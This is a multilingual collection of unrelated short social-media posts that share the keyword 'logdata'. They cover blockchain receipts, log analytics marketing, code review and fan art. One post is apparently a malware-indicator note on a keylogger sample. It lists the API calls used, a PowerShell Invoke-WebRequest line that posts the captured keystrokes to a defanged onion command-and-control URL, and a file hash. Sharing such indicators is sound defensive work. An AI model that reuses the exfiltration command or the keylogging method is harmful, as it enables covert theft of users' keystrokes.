Geolokalisering kan redde dig, Panda-@Sikanda og afsløre den strukturelle racisme bag afgørelsen. Bed dit mobilselskab om logdata, der viser, at din mobiltelefon ud på de små timer forbandt sig til en basestation på Nørrebro og ikke den lokale ved Frederikssundsvej i Herlev.

¿Qué aporta el review aquí? Señaló que handle no decía nada y se renombró a logData. Simplificó la lógica con early return. Propuso usar métodos nativos (forEach) para mayor legibilidad. No cambió la funcionalidad, mejoró la intención y la comunicación del código.

HDzero halohaloこんにちは🌀🚀 次から次へと気になるところが出て来てlogdata取り😆 大して変わらないしキリがないからもうやめよう🤣

3/5 ⚙️ Deployment & Usage Use tools like: Remix for local testing Foundry or Hardhat for CLI devs peaq testnet or any EVM chain for deployment Device-side: Each node needs a wallet (can be MPC or signer contract) Devices call logData() with structured payloads via Web3

📝 LogData Receipt: For complex types & large numbers (like u256, strings, structs) - Data stored as hex in data field - More detailed info with ptr, len, digest - Handles everything Log can't

Hydrolix Secures $80 Million in Series C #DataLake #LogData #DataAnalytics #StreamingDataLake #CloudPlatform #RealTimeData #DataManagement #SaaS #Funding #Hydrolix thesaasnews.com/news/hydroli…

"The real problem is underlying storage architectures, which aren’t designed for ingesting, storing and querying high volumes of log data cost-effectively." thenewstack.io/stop-freezing… via @thenewstack #datalake #logdata

73f9b140bd36617a338f0a574d8d850b #Keylogger using the API calls: GetAsyncKeyState, virtualKeyCode, GetKeyboardState, MapVirtualKey. Exfiltration method: Invoke-WebRequest -Uri $Url -Method POST -Body $LogData -ContentType "text/plain" #C2-Url hxxp://mykgoj7uvqtgl367.onion/log

ハロワのイラスト再録本はBOOTH通販でも買えます！よしなに…！ YESTERDAY LOGDATA | ごーるでんぱらっちょ golpacho.booth.pm/items/5981…

Telemetry is measuring things, transmitting the data to a remote location & interpreting the results.📏📊 In #cybersec it refers to the security data your systems, networks etc. generate, often comes from #logdata & can be used to create security programs. graylog.info/4gxIIox

To upgrade, or not to upgrade, that is the question. 🤔 Are you trying to decide if or when to do a Feature Update? Then these best practices for troubleshooting a #WindowsServer upgrade might help you! 👀👇 graylog.info/4iqbycl #ITadmin #logdata #Windows #indoawx

LogData çıktısı ise tüm tipleri içerir.

Logging, "log" fonksiyonunu kullanılabilmesi için bir tiptir. Herhangi bir tipteki log değişkeninin kullanılabilmesini sağlar. Her bir log, çıktılardan oluşan bir listeyi de beraberinde içerir. log, iki tip çıktı verebilir: Log ve LogData. Şöyle belirtilir:

Ep#233 #TheFrenchStoragePodcast w/ Marty Kagan CEO co-founder @GetHydrolix following the 58th @ITPressTour bit.ly/TFSP233-99 #MultiCloud #FastQuery #Analytics #BigData #Observability #AI #DataLake #LogData #CDN #Akamai #SQL #API #Kubernetes #S3 #ObjectStorage #TFSP #ITPT

Kreeg voor het eerst een melding dat mijn iPhone mogelijk was gehackt met zeer geavanceerde malware. Er was door iVerify in de logdata een onbekend proces gevonden in een folder die vaak door malware wordt misbruikt. Onderzoek wijst (gelukkig!) uit op een false positive :-)

Akıllı sözleşmelerin introspeksiyon, yani kendi durumlarını ve blockchain üzerindeki verileri analiz edebilme yeteneği, blockchain sistemlerinin daha dinamik ve güvenli hale gelmesini sağlıyor. Fuel’da introspeksiyon, akıllı sözleşmelerin kendi durumu hakkında bilgi edinmesini ve dış zincirlerin Fuel üzerindeki işlemleri ve durumu doğrulamasını sağlıyor. Bu yaklaşım, blockchain’ler arası işlemleri kolaylaştırıyor ve doğrulanabilir hale getiriyor. 🔗 Fuel’de bu nasıl gerçekleşiyor ve introspeksiyon neden kritik? İnceleyelim🔍 Makbuz Kökleri (Receipt Roots) 🧾 Fuel üzerindeki her blok, işlemlerden ve yayılan loglardan elde edilen makbuz köklerini içeriyor. Bu makbuz kökleri, blok başlığına hash olarak ekleniyor ve işlemlerin sonuçlarını doğrulamak için kullanılıyor. Makbuz kökleri sayesinde, blokta gerçekleşen işlemlerin başarılı ya da başarısız olduğu blok başlığında tutuluyor ve hızlı doğrulama sağlanıyor. Blockchain üzerindeki bu yapı, Fuel’de işlemlerin bütünlüğünü ve güvenilirliğini sağlıyor. 🔐 Makbuz kökleri Fuel’de önemli bir role sahip. Bir işlem başarılı mı? Loglar doğru yayıldı mı? Bu soruların cevabı, makbuz kökleriyle hızlıca doğrulanıyor. ✅ İşlem Kökü (Transaction Root) 🌳 Her blok başlığı, o blokta yer alan tüm işlemleri bir Merkle ağacı ile özetliyor ve bu özet işlem kökünü oluşturuyor. Blok içindeki her işlem, ağacın bir yaprak düğümü olarak temsil ediliyor. Bu yapı sayesinde herhangi bir işlemin blokta yer alıp almadığı Merkle kökü ile doğrulanabiliyor. Merkle ağaçları, işlemlerin doğrulanmasını hızlı ve kapsamlı işlemeye gerek kalmadan sağlıyor. 🌐 Fuel, bloklardaki işlem kökleri üzerinden işlemleri güvenli ve verimli bir şekilde doğrulama imkanı sunuyor. Durum Kökü (State Root) 🏦 Blockchain üzerindeki tüm hesaplar ve akıllı sözleşmelerin bakiyeleri veya durumları bir Merkle ağacı ile özetleniyor ve bu durum kökü olarak adlandırılıyor. Fuel, Ethereum'daki global bir durum kökü yerine, her akıllı sözleşme için yerel bir durum kökü (local state root) kullanıyor. Fuel'da her sözleşmenin kendine ait bir Merkle ağacı bulunuyor ve bu yerel ağaçlar, sözleşmenin durumunu bağımsız olarak doğrulama imkanı sunuyor. Yerel durum kökleri, hesaplar ve sözleşmelerin durumlarının hızlı ve etkili bir şekilde takip edilmesini sağlıyor. 🚀 Fuel yerel durum kökleriyle daha modüler bir yapı sunuyor. Bu modüler yapı, doğrulama sürecini hızlandırıyor ve geliştiriciler için daha verimli bir işlem doğrulama imkanı yaratıyor. 🧑‍💻 Depolama ve Durum Kanıtları (Storage and State Proofs) 🔏 Depolama kanıtları bir işlemin blockchain üzerinde gerçekleştiğini ve geçerli olduğunu kriptografik taahhütlerle kanıtlıyor. Fuel’deki makbuz kökleri sayesinde, belirli bir olayın gerçekleşip gerçekleşmediği hızlıca doğrulanabiliyor. Durum kanıtları ise belirli bir hesabın bakiyesini, belirli bir sözleşmenin durumunu veya geçmiş işlemlerini doğrulamak için kullanılıyor. Bu Merkle kanıtları, hafif istemcilerin belirli sorulara cevap bulmasına yardımcı oluyor: 💡 - Belirli bir hesabın bakiyesi nedir? 💰 - Bu hesap var mı? ❓ - Blok B’de token A için bir transfer olayı gerçekleşti mi? 🔄 Depolama kanıtları yalnızca doğrulama sürecini desteklemiyor, aynı zamanda zincirler arası oylama, varlık köprüleme olmadan token dağıtımı gibi birçok kullanım alanını da beraberinde getiriyor. Ayrıca kimlik ve itibar sistemleri gibi uygulamalarda da kullanılabiliyor. 🌐 Çok zincirli dünyada, bu kanıtlar blockchain’ler arasında güvenli ve doğrulanabilir işlem akışını mümkün kılıyor. 🛡️ Depolama kanıtları, bir işlemin blockchain üzerinde gerçekleştiğini ve geçerli olduğunu kanıtlıyor. Aşağıdaki şemada da bir hesap bakiyesinin depolama kanıtının nasıl üretildiği gösteriliyor. Bu, bir ERC-20 kontratındaki bakiyenin doğrulanması sürecini açıklıyor ve bir hesap bakiyesinin doğrulanması için gerekli olan Merkle ağacı yapılarını ve blockchain üzerindeki işlem köklerini özetliyor. FuelVM ve Rich Receipts (Zengin Makbuzlar) 📝 FuelVM’nin en önemli farklılıklarından biri, zengin makbuzlar sağlamasıdır. Ethereum Virtual Machine (EVM), yalnızca sınırlı sayıda log verisi sunarken, FuelVM, işlemler sırasında yayılan çok daha fazla bilgi sağlıyor. EVM’de yalnızca loglar doğrulanabiliyorken, FuelVM’de Call, Return, Panic, LogData, Transfer gibi 13 farklı makbuz türü bulunuyor. Bu zengin makbuz yapısı, işlemler hakkında daha ayrıntılı bilgi sağlıyor ve bu bilgilerin doğrulanması daha kolay hale geliyor. ✅ FuelVM üzerindeki her işlem, zengin makbuzlarla kaydediliyor ve bu makbuzlar, geliştiricilere daha kapsamlı bir analiz imkanı sunuyor. Peki, bu zengin makbuz yapısı geliştiriciler için ne gibi avantajlar sağlıyor? 🧾Zengin makbuzlar, blockchain üzerindeki işlemler hakkında daha fazla bilgi sunarak yaratıcı indeksleme ve kanıtlama mekanizmaları geliştirmeye olanak tanıyor. Yerel Durum Kökleri (Local State Roots) 🌍 Fuel’de her akıllı sözleşmenin kendine ait bir yerel durum kökü ve derinliği 256 olan bir Merkle ağacı var. Ethereum'daki global durum kökünden farklı olarak Fuel'da her sözleşme kendi durumunu bağımsız olarak takip ediyor. Bu yerel kök yapısı, işlemlerin ve sözleşmelerin durumunu doğrulamak için daha modüler bir yapı sunuyor. Ayrıca, Fuel’daki işlemler için kullanılan makbuz kökleri daha sığ (yaklaşık 16 derinliğe sahip Merkle ağaçları) olduğu için doğrulama işlemi hızlı gerçekleşiyor. Fuel, bu yapısıyla işlemlerin ve durumların doğrulanmasını hızlandırıyor ve bu süreci daha verimli hale getiriyor. ⚡ ⚙️Register-Based Yapı FuelVM, EVM gibi stack-based yerine register-based bir sanal makine. Bu yapı, işlemlerin daha az işlem koduyla ve daha hızlı gerçekleşmesini sağlıyor. Register-based makineler, işlem maliyetlerini düşürerek daha verimli çalışıyor ve düğüm operatörlerinin kaynaklarını daha etkili kullanmalarına yardımcı oluyor. 🚀 Aşağıdaki şemada, FuelVM bloklarının nasıl yapılandığını görebilirsiniz. Bu yapı, işlemlerin ve verilerin doğrulanmasını daha verimli hale getiriyor. Fuel, Rust temelli Sway programlama dilini kullanıyor. Sway, güvenli ve performanslı akıllı sözleşmeler yazmayı sağlıyor. Bellek içi vektörler ve modern dil sunucuları gibi özelliklerle esnek bir geliştirme deneyimi sunan Sway, sadece Fuel için değil, diğer blockchain mimarileri için de bir alternatif olarak tasarlanıyor. 💻 Forc ve Charcoal 🛠️ Ayrıca Fuel, geliştiriciler için Forc adlı bir araç zinciri sunuyor. Rust’ın Cargo yapısına benzeyen Forc, FuelVM üzerinde uygulama geliştirme sürecini kolaylaştırıyor. Ayrıca, Charcoal adındaki transpiler aracıyla Solidity projelerini Sway’e dönüştürerek EVM geliştiricilerinin FuelVM ekosistemine geçiş yapmalarını sağlıyor. 🔄 🎯Sonuç olarak Fuel, introspeksiyon yetenekleri, zengin makbuz yapısı, register tabanlı sanal makine ve Rust temelli Sway programlama dili ile blockchain dünyasında daha fazla doğrulama ve geliştirme esnekliği sunuyor.

Moving the goal: How the #edgeobservability #multiCDN #logdata game has changed @Intellyx #BrainBlog for @GetHydrolix intellyx.com/2024/09/20/movi…

logdata-anomaly-miner: parses log data and allows to define analysis pipelines for anomaly detection meterpreter.org/logdata-anom…

わっちょさんのイラスト再録本、ようやく拝見しましたー！凄い情報量と癒しパワーに圧倒されました！これだけの枚数を描かれてきたそのハロワ愛にひたすら平伏してます。円盤カウントダウンは圧巻ですね YESTERDAY LOGDATA - ごーるでんぱらっちょ - BOOTH booth.pm/ja/items/5981735